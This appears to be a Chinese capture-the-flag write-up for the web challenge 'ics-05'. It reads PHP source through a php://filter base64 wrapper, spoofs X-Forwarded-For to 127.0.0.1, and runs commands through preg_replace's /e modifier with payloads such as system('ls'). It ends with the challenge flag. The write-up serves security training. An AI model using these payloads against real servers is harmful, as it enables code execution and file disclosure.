ics-05(命令执行漏洞及伪协议读取)

打开链接,似曾相识的感觉(前面做过一道题叫ics-06,那道题是对id的一个爆破)

尝试后发现只有设备维护中心可以跳转

ics-05(命令执行漏洞及伪协议读取)_第1张图片

 这和我们使用御剑扫描出来的结果是一样的

ics-05(命令执行漏洞及伪协议读取)_第2张图片

 使用PHP伪协议读取 index.php 页面

构造payload(在愚人杯http://t.csdn.cn/5XorV中的第五题有对这个PHP伪协议的讲解)
php://filter/read=convert.base64-encode/resource=index.php

ics-05(命令执行漏洞及伪协议读取)_第3张图片得到了一串很长的字符,从结尾来看应该是base64

对其解码后得到index.php 的源代码

ics-05(命令执行漏洞及伪协议读取)_第4张图片

 关键代码

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "
Welcome My Admin !
";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

preg_replace 函数使用 /e 模式,导致代码执行问题

pat值和sub值相同,rep的代码就会执行。

将 X-Forwarded-For 设置为 127.0.0.1

preg_replace 函数具有代码执行漏洞

 preg_replace("/php/e", $_GET['cmd'], 'php');

 参数 pattern 带有/e 时,preg_replace 就会把 replacement 参数当做命令执行

对这个代码利用,需要将 X-Forwarded-For 设置为 127.0.0.1

因为这里要求 X-Forwared-For 来源于本地

我们在 http 头加上 X-Forwarded-For: 127.0.0.1 访问设备维护中心的页面

ics-05(命令执行漏洞及伪协议读取)_第5张图片

ics-05(命令执行漏洞及伪协议读取)_第6张图片

 测试 payload:

?pat=/test/e&rep=phpinfo()&sub=test (记得还是要加上X-Forwarded-For: 127.0.0.1)

ics-05(命令执行漏洞及伪协议读取)_第7张图片

ics-05(命令执行漏洞及伪协议读取)_第8张图片

可以看到 phpindo() 被成功执行

构造payload:

?pat=/test/e&rep=var_dump(`dir`)&sub=test

或者

?pat=/php/e&rep=system("ls")&sub=php

ics-05(命令执行漏洞及伪协议读取)_第9张图片

ics-05(命令执行漏洞及伪协议读取)_第10张图片

ics-05(命令执行漏洞及伪协议读取)_第11张图片

 得到目录 s3chahahaDir

直接访问

ics-05(命令执行漏洞及伪协议读取)_第12张图片

进入flag,里面有一个flag.php

ics-05(命令执行漏洞及伪协议读取)_第13张图片

直接打开的话是空白

ics-05(命令执行漏洞及伪协议读取)_第14张图片

我们通过伪协议来读取 flag.php

构造payload:

?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php

ics-05(命令执行漏洞及伪协议读取)_第15张图片

 得到

PD9waHAKCiRmbGFnID0gJ2N5YmVycGVhY2V7MzM1NWVmNzA2NGNkM2JkNDBkZmRlNGNmZjRjMWUxMzl9JzsKCj8+Cg==

经base64解码后

ics-05(命令执行漏洞及伪协议读取)_第16张图片

 得到flag

cyberpeace{3355ef7064cd3bd40dfde4cff4c1e139}

你可能感兴趣的:(web,CTF,PHP,php,命令执行漏洞,伪协议读取,网络安全,web)